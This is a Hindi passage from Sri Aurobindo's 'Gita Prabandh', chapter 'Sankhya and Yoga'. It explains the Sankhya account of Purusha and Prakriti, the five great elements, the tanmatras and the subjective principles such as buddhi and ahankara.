गीता प्रबंध -अरविन्द पृ. 71

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गीता-प्रबंध
8.सांख्य और योग

कर्म मात्र ही, चाहे वह आत्मनिष्ठ हो या वस्तुनिष्ठ , आत्मा का स्वधर्म नहीं , उसमें न कोई सकर्मक संकल्प है न कोई सकर्मक बुद्धि । इसलिये पुरूष अकेला ही इस जगत् का कारण नहीं हो सकता , और काई दूसरा कारण भी है यह स्वीकार करना आवश्यक हो जाता है । केवल पुरूष ही अपने चिन्मय ज्ञान, संकल्प और आनंद के स्वभाव से जगत् का कारण नहीं है , बल्कि पुरूष और प्रकृति दोनों की द्विविध सत्ता ही जगत्त का कारण है, एक है निष्क्रिय चैतन्य और दूसरी है गतिशील ऊर्जां । जगत् के अस्तित्व के विषय में सांख्य की व्यख्या उक्त प्रकार की है। परंतु तब ये सचेतन बुद्धि और सचेतन संकल्प कहां से आते हैं जिन्हें हम अपनी सत्ता का इतना बड़ा अंग अनुभव करते हैं और जिन्हें हम सामान्यतः और सहज ज्ञान से ही प्रकृति की कोई चीज न मानकर पुरूष की ही मानते है? सांख्य के अनुसार बुद्धि और संकल्प सर्वथा प्रकृति की यांत्रिक ऊर्जा के अंग हैं , पुरूष के गुणधर्म नहीं ; ये दोनों ही बुद्धि - तत्व है जो जगत् के चैबीस तत्वों में से एक तत्व है।
इस सृष्टि के के विकास के मूल में प्रकृति अपने तीनों गुणों सहित सब पदार्थो की मूल वस्तु के रूप में अव्यक्त अचेतन अवस्था में रहती है फिर उसमे से क्रमशः ऊर्जा या जडत्व , क्योंकि सांख्य - दर्शन में ऊर्जा और महाभूत एक ही चीज हैं - के पांच मूल तत्व प्रकट होते हैं । इनको प्राचीन शास्त्रों में पंचमहाभूत कहा है, ये है आकाश , वायु , अग्नि, जल और पृथ्वी पर यह याद रहे कि आधुनिक सायंस की दृष्टि में ये मूलतत्व नहीं है, बल्कि ये जड - प्राकृतिक शक्ति की ऐसी अति सूच्क्ष्म अवस्थाएं हैं जिसका विशुद्ध स्वरूप इस स्थूल जगत् में कहीं भी प्राप्त नहीं । सब पदार्थ इन्हीं पांच सूच्म तत्वों के संघात से उत्पन्न होते है। फिर इन पंचमहाभूतों में से, प्रत्येक से एक - एक तन्मात्रा उत्पन्न होती है । ये पंचतन्मात्राएं है शब्द, स्पर्श, रूप, रस और गंध। इन्हीं के द्वारा ज्ञानेन्द्रियों को विषयों का ज्ञान होता है। इस प्रकार मूल प्रकृति से उत्पन्न इन पंचमहाभूतों और उनकी इन पंचतन्मात्राओं से, जिनके द्वारा स्थूल का बोध होता है , उसका विकास होता है जिसे आधुनिक भाषा में विश्व - सत्ता का वस्तुनिष्ठ पक्ष कहते हैं । तेरह तत्व और हैं जिनसे विश्व - ऊर्जा का आत्मनिष्ठ पक्ष निर्मित होता है- बुद्धि या महत्, अहंकार, मन और उसकी दस इन्द्रियां(पांच ज्ञानेन्द्रियां और पांच कमेन्द्रियां)।


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टीका टिप्पणी और संदर्भ

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